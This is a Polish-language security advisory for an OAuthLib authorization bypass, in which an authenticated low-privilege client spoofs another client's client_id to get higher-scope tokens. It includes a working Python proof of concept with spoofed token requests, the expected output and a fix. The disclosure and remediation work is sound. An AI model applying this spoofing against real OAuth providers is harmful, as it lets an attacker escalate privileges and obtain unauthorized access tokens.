Wysoka

OAuthLib: Nadania tokenów mogą używać client_id podanego przez atakującego do autoryzacji po uwierzytelnieniu innego klienta

  • Ujawniono: 30.10.2026
  • Aktualizacja: 09.11.2026 10:00

Podsumowanie

Mechanizmy obsługi nadań tokenów w OAuthlib mogą uwierzytelnić jednego klienta, jednocześnie autoryzując typ nadania i żądane zakresy przy użyciu innego, podanego przez atakującego identyfikatora client_id z treści żądania.

W podatnych przepływach nadań tokenów authenticate_client(request) ustawia request.client na obiekt uwierzytelnionego klienta, jednak OAuthlib nie wymaga, aby request.client_id odpowiadało request.client.client_id. Jeśli treść żądania zawiera już client_id=..., OAuthlib zachowuje tę wartość i przekazuje ją do validate_grant_type() oraz validate_scopes().

W rezultacie uwierzytelniony klient poufny o niskich uprawnieniach może uwierzytelnić się jako on sam, przesłać client_id innego klienta w treści żądania tokena i doprowadzić do wykonania walidacji nadania oraz zakresów pod tożsamością tego innego klienta.

Powierzchnia podatności

Podatna publiczna powierzchnia dotyczy obsługi punktu końcowego tokenów OAuth2 dla:

  • client_credentials
  • password / Resource Owner Password Credentials

Problem dotyczy wdrożeń dostawców OAuthlib, w których:

  • atakujący posiada poświadczenia dla prawidłowego klienta poufnego o niższych uprawnieniach;
  • inny klient posiada szersze uprawnienia nadań lub zakresów;
  • walidator aplikacji korzysta z argumentu client_id przekazywanego przez OAuthlib w validate_grant_type() lub validate_scopes(), zgodnie z projektem API RequestValidator.

Wdrożenia, których walidatory ignorują argument client_id i autoryzują wyłącznie na podstawie request.client, mogą nie być podatne.

Szczegóły

Request przetwarza parametry zapytania i treści na atrybuty żądania, w tym client_id:

Kontrakt RequestValidator.authenticate_client() wymaga od integratora uwierzytelnienia klienta i ustawienia request.client:

Dla nadania client_credentials OAuthlib uwierzytelnia klienta, sprawdza, czy request.client posiada client_id, a następnie wykonuje walidację nadania i zakresu przed znormalizowaniem request.client_id z request.client.client_id:

Problematyczna kolejność to:

python
if not self.request_validator.authenticate_client(request):
    ...
elif not hasattr(request.client, 'client_id'):
    ...

self.validate_grant_type(request)

request.client_id = request.client_id or request.client.client_id
self.validate_scopes(request)

Ponieważ OAuthlib uzupełnia request.client_id tylko wtedy, gdy go brakuje, wartość dostarczona przez atakującego w treści, taka jak client_id=high, jest zachowywana nawet wtedy, gdy request.client.client_id == "low".

Współdzielona funkcja pomocnicza nadania przeprowadza następnie autoryzację przy użyciu request.client_id, przekazując obiekt uwierzytelnionego klienta oddzielnie:

To samo rozdzielenie tożsamości występuje w przepływie Resource Owner Password Credentials. Po uwierzytelnieniu klienta i walidacji użytkownika OAuthlib waliduje nadanie i zakresy przed zastąpieniem brakującego request.client_id wartością z request.client.client_id:

Tworzy to niespójny stan tożsamości:

request.client.client_id == "low"   # authenticated client
request.client_id == "high"         # attacker-supplied request parameter

OAuthlib wywołuje następnie metody autoryzacji aplikacji z obydwoma wartościami, ale wykorzystuje kontrolowane przez atakującego request.client_id jako główny argument client_id.

Wpływ

Uwierzytelniony poufny klient o niższych uprawnieniach może uzyskać tokeny autoryzowane zgodnie z zasadami nadania i zakresów innego klienta, jeśli walidator aplikacji działa zgodnie z API RequestValidator i autoryzuje na podstawie argumentu client_id.

Konkretny wpływ może obejmować:

  • wydawanie tokenów dostępu z zakresami nieprzypisanymi do uwierzytelnionego klienta;
  • umożliwienie klientowi o niskich uprawnieniach użycia typu nadania zarezerwowanego dla klienta o wyższych uprawnieniach;
  • zapisanie tokenów pod sfałszowanym client_id, podczas gdy obiekt uwierzytelnionego klienta jest inny.

Jest to obejście autoryzacji tokena, a nie atak bez uwierzytelnienia. Atakujący wymaga ważnych danych uwierzytelniających dla jednego klienta.

PoC

Utwórz następujące pliki w pustym katalogu.

requirements.txt:

oauthlib==3.3.1

repro.py:

python
import base64
import json

from oauthlib.oauth2 import (
    BearerToken,
    ClientCredentialsGrant,
    RequestValidator,
    ResourceOwnerPasswordCredentialsGrant,
    TokenEndpoint,
)


class Client:
    def __init__(self, client_id):
        self.client_id = client_id


CLIENTS = {
    "low": {
        "secret": "low-secret",
        "grants": {"client_credentials", "password"},
        "scopes": {"read"},
    },
    "high": {
        "secret": "high-secret",
        "grants": {"client_credentials", "password"},
        "scopes": {"read", "admin"},
    },
}


class DemoValidator(RequestValidator):
    def __init__(self):
        self.saved_tokens = []

    def authenticate_client(self, request, *args, **kwargs):
        authorization = request.headers.get("Authorization", "")
        prefix = "Basic "
        if not authorization.startswith(prefix):
            return False

        decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8")
        client_id, secret = decoded.split(":", 1)
        record = CLIENTS.get(client_id)
        if record is None or record["secret"] != secret:
            return False

        # This is the authenticated client identity.
        request.client = Client(client_id)
        return True

    def client_authentication_required(self, request, *args, **kwargs):
        return True

    def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):
        record = CLIENTS.get(client_id)
        return record is not None and grant_type in record["grants"]

    def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):
        record = CLIENTS.get(client_id)
        return record is not None and set(scopes or []) <= record["scopes"]

    def get_default_scopes(self, client_id, request, *args, **kwargs):
        return []

    def validate_user(self, username, password, client, request, *args, **kwargs):
        if username == "alice" and password == "wonderland":
            request.user = username
            return True
        return False

    def save_bearer_token(self, token, request, *args, **kwargs):
        self.saved_tokens.append({
            "token": dict(token),
            "authenticated_client_id": request.client.client_id,
            "request_client_id": request.client_id,
            "scopes": list(request.scopes or []),
        })


validator = DemoValidator()
token = BearerToken(validator, expires_in=3600)
endpoint = TokenEndpoint(
    default_grant_type="client_credentials",
    default_token_type=token,
    grant_types={
        "client_credentials": ClientCredentialsGrant(validator),
        "password": ResourceOwnerPasswordCredentialsGrant(validator),
    },
)


def low_client_headers():
    value = base64.b64encode(b"low:low-secret").decode("ascii")
    return {"Authorization": f"Basic {value}"}


def token_request(body):
    _headers, response_body, status = endpoint.create_token_response(
        "https://auth.example/token",
        body=body,
        headers=low_client_headers(),
    )
    return status, json.loads(response_body)


def assert_rejected(label, body):
    status, response = token_request(body)
    print(label, status, response)
    if status == 200:
        raise SystemExit(f"{label}: expected rejection, got success")


def assert_spoofed_success(label, body):
    status, response = token_request(body)
    print(label, status, response)
    if status != 200:
        raise SystemExit(f"{label}: expected token, got {status} {response}")
    if response.get("scope") != "admin":
        raise SystemExit(f"{label}: expected admin scope, got {response}")

    saved = validator.saved_tokens[-1]
    if saved["authenticated_client_id"] != "low":
        raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
    if saved["request_client_id"] != "high":
        raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")


assert_rejected(
    "control client_credentials as low requesting admin",
    "grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
    "spoofed client_credentials as low with client_id=high",
    "grant_type=client_credentials&client_id=high&scope=admin",
)

assert_rejected(
    "control password as low requesting admin",
    "grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
    "spoofed password as low with client_id=high",
    "grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)

print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))

Uruchom:

bash
python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py

Oczekiwany wynik:

control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED

Warunkiem powodzenia jest wygenerowanie obu poprawnych odpowiedzi z tokenami, podczas gdy zapisany stan tokena wskazuje:

js
{
  "authenticated_client_id": "low",
  "request_client_id": "high",
  "scopes": ["admin"]
}

Dowodzi to, że uwierzytelnionym klientem jest low, podczas gdy autoryzacja nadania i zakresu użyła przekazanego przez atakującego client_id=high.

Sugerowane rozwiązanie

Po pomyślnym uwierzytelnieniu klienta OAuthlib powinien odrzucić żądanie tokena, jeśli jawny parametr client_id jest obecny w żądaniu i nie odpowiada request.client.client_id.

W przypadku uwierzytelnionych przepływów klientów poufnych bezpieczniejszym niezmiennikiem jest:

python
if request.client is not None:
    if request.client_id is not None and request.client_id != request.client.client_id:
        raise InvalidClientError(...)
    request.client_id = request.client.client_id

Powinno to nastąpić przed wywołaniem validate_grant_type() oraz validate_scopes().

Zgłaszający:

Co trzeba zrobić

Zaktualizuj bibliotekę OAuthLib do wersji 4.0.0 lub nowszej. W przypadku własnych implementacji odrzucaj żądania tokenów, jeśli jawnie przekazany identyfikator klienta różni się od identyfikatora uwierzytelnionego klienta przed wywołaniem weryfikacji uprawnień i zakresów.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) oauthlib < 4.0.0 4.0.0

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N
Słabość (CWE)
CWE-863
Platforma
Python (PyPI)
Paczka
oauthlib
Ujawniono
30.10.2026
Aktualizacja
09.11.2026 10:00

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-7984-qgvg-3j9c - CC BY 4.0

Historia podatności: oauthlib

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów
5
Pierwsza → ostatnia
09.2022 10.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Wysoka 2
  • Średnia 3

Ujawnienia w latach

  1. 2022: 1
  2. 2023: 0
  3. 2024: 0
  4. 2025: 0
  5. 2026: 4
  1. OAuthLib: Nadania tokenów mogą używać client_id podanego przez atakującego do autoryzacji po uwierzytelnieniu innego klienta ten wpis
    Wysoka CVE-2026-118669 < 4.0.0 4.0.0
  2. Średnia · 6.8 CVE-2026-49265 >= 3.0.0, < 4.0.0 4.0.0
  3. Średnia · 5.7 CVE-2022-36087 >= 3.1.1, < 3.2.2 3.2.2

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.